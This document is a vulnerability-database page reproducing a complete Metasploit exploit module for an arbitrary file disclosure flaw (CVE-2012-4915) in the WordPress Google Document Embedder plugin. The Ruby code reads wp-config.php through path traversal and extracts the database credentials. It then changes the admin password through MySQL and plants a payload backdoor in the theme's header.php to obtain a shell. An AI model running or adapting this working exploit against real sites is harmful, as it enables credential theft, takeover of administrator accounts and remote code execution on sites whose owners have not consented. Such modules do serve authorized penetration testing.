Lucene search
K

WordPress Plugin Google Document Embedder Arbitrary File Disclosure

🗓️ 05 Jan 2013 14:21:02Reported by Charlie EriksenType 
metasploit
 metasploit
🔗 www.rapid7.com👁 64 Views

WordPress Plugin Google Document Embedder Arbitrary File Disclosure modul

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rbmysql'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress Plugin Google Document Embedder Arbitrary File Disclosure',
      'Description'    => %q{
          This module exploits an arbitrary file disclosure flaw in the WordPress
        blogging software plugin known as Google Document Embedder. The vulnerability allows for
        database credential disclosure via the /libs/pdf.php script. The Google Document Embedder
        plug-in versions 2.4.6 and below are vulnerable. This exploit only works when the MySQL
        server is exposed on an accessible IP and WordPress has filesystem write access.

        Please note: The admin password may get changed if the exploit does not run to the end.
      },
      'Author'         =>
        [
          'Charlie Eriksen',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2012-4915'],
          ['OSVDB', '88891'],
          ['URL', 'http://web.archive.org/web/20130119141940/http://secunia.com/advisories/50832/'],
          ['WPVDB', '6073']
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '2013-01-03',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
        OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
        OptString.new('ADMINPATH', [true, 'The relative path to the admin folder', 'wp-admin/']),
        OptString.new('THEMESPATH', [true, 'The relative path to the admin folder', 'wp-content/themes/'])
      ])
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'
    plugins_uri = String.new(uri)
    plugins_uri << datastore['PLUGINSPATH']
    plugins_uri << '/' if plugins_uri[-1,1] != '/'

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "#{plugins_uri}google-document-embedder/libs/pdf.php",
    })

    if res and res.code == 200
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe
    end
  end

  def exploit
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'
    plugins_uri = String.new(uri)
    plugins_uri << datastore['PLUGINSPATH']
    plugins_uri << '/' if plugins_uri[-1,1] != '/'
    admin_uri = String.new(uri)
    admin_uri << datastore['ADMINPATH']
    admin_uri << '/' if plugins_uri[-1,1] != '/'
    themes_uri = String.new(uri)
    themes_uri << datastore['THEMESPATH']
    themes_uri << '/' if plugins_uri[-1,1] != '/'

    print_status('Fetching wp-config.php')
    res = send_request_cgi({
      'method'     => 'GET',
      'uri'        => "#{plugins_uri}google-document-embedder/libs/pdf.php",
      'vars_get'   =>
        {
          'fn'   => "#{rand_text_alphanumeric(4)}.pdf",
          'file' => "#{'../' * plugins_uri.count('/')}wp-config.php",
        }
    })

    if res and res.body =~ /allow_url_fopen/
      fail_with(Failure::NotVulnerable, 'allow_url_fopen and curl are both disabled')
    elsif res.code != 200
      fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    end

    config = parse_wp_config(res.body)
    if not ['DB_HOST', 'DB_PORT', 'DB_USER', 'DB_PASSWORD', 'DB_NAME'].all? { |parameter| config.has_key?(parameter) }
      fail_with(Failure::UnexpectedReply, "The config file did not parse properly")
    end
    begin
      @mysql_handle = ::RbMysql.connect(config['DB_HOST'],
                                        config['DB_USER'],
                                        config['DB_PASSWORD'],
                                        config['DB_NAME'],
                                        config['DB_PORT'])
    rescue Errno::ECONNREFUSED,
      RbMysql::ClientError,
      Errno::ETIMEDOUT,
      RbMysql::AccessDeniedError,
      RbMysql::HostNotPrivileged
      fail_with(Failure::NotVulnerable, 'Unable to connect to the MySQL server')
    end
    res = @mysql_handle.query("SELECT user_login, user_pass FROM #{config['DB_PREFIX']}users U
                  INNER JOIN #{config['DB_PREFIX']}usermeta M ON M.user_id = U.ID AND M.meta_key = 'wp_user_level' AND meta_value = '10' LIMIT 1")

    if res.nil? or res.size <= 0
      fail_with(Failure::UnexpectedReply, 'No admin was account found')
    end

    user = res.first

    new_password = rand_text_alphanumeric(8)
    @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{::Rex::Text.md5(new_password)}' WHERE user_login = '#{user[0]}'")
    print_warning("Admin password changed to: #{new_password}")

    admin_cookie = get_wp_cookie(uri, user[0], new_password)

    theme, nonce, old_content = get_wp_theme(admin_uri, admin_cookie)

    print_warning("Editing theme #{theme}")
    set_wp_theme(admin_uri, admin_cookie, nonce, theme, payload.encoded)

    print_status("Calling backdoor")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => "#{themes_uri}#{theme}/header.php",
    })

    if res and res.code != 200
      fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    end

    set_wp_theme(admin_uri, admin_cookie, nonce, theme, old_content)

    @mysql_handle.query("UPDATE #{config['DB_PREFIX']}users SET user_pass = '#{user[1]}' WHERE user_login = '#{user[0]}'")

    print_status("Shell should have been acquired. Disabled backdoor")
  end

  def parse_wp_config(body)
    p = store_loot('wordpress.config', 'text/plain', rhost, body, "#{rhost}_wp-config.php")
    print_good("wp-config.php saved in: #{p}")
    print_status("Parsing config file")
    values = {}

    body.each_line do |line|
      if line =~ /define/
        key_pair = line.scan(/('|")([^'"]*)('|")/)
        if key_pair.length == 2
          values[key_pair[0][1]] = key_pair[1][1]
        end
      elsif line =~ /table_prefix/
        table_prefix = line.scan(/('|")([^'"]*)('|")/)
        values['DB_PREFIX'] = table_prefix[0][1]
      end
    end
    #Extract the port from DB_HOST and normalize DB_HOST
    values['DB_PORT'] = values['DB_HOST'].include?(':') ? values['DB_HOST'].split(':')[1] : 3306

    if values['DB_HOST'] =~ /(localhost|127.0.0.1)/
      print_status("DB_HOST config value was a loopback address. Trying to resolve to a proper IP")
      values['DB_HOST'] = ::Rex::Socket.getaddress(datastore['RHOST'])
    end

    return values
  end

  def get_wp_cookie(uri, username, password)
    res = send_request_cgi({
      'method'     => 'POST',
      'uri'        => "#{uri}wp-login.php",
      'cookie'     => 'wordpress_test_cookie=WP+Cookie+check',
      'vars_post'  =>
        {
          'log'        => username,
          'pwd'        => password,
          'wp-submit'  => 'Log+In',
          'testcookie' => '1',
        },
    })

    if res and res.code == 200
      fail_with(Failure::UnexpectedReply, 'Admin login failed')
    elsif res and res.code != 302
      fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    end

    admin_cookie = res.get_cookies

    if admin_cookie.empty?
      fail_with(Failure::UnexpectedReply, 'The resulting cookie was empty')
    end

    return admin_cookie
  end

  def get_wp_theme(admin_uri, admin_cookie)
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => "#{admin_uri}theme-editor.php?file=header.php",
      'cookie' => admin_cookie,
    })

    if res and res.code != 200
      fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    elsif res and res.body.scan(/<input.+?name="submit".+?class="button button-primary"/).length == 0
      fail_with(Failure::NotVulnerable, 'Wordpress does not have write access')
    end

    nonce = res.body.scan(/<input.+?id="_wpnonce".+?value="(.+?)"/)[0][0].to_s
    old_content = Rex::Text.html_decode(Rex::Text.html_decode(res.body.scan(/<textarea.+?id="newcontent".+?>(.*)<\/textarea>/m)[0][0].to_s))
    theme = res.body.scan(/<input.+?name="theme".+?value="(.+?)"/)[0][0].to_s

    return [theme, nonce, old_content]
  end

  def set_wp_theme(admin_uri, admin_cookie, nonce, theme, new_content)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => "#{admin_uri}theme-editor.php?",
      'cookie'    => admin_cookie,
      'vars_post' =>
        {
          '_wpnonce'   => nonce,
          'theme'      => theme,
          'newcontent' => new_content,
          'action'     => 'update',
          'file'       => 'header.php'
        },
    })

    if res and res.code != 302
      fail_with(Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation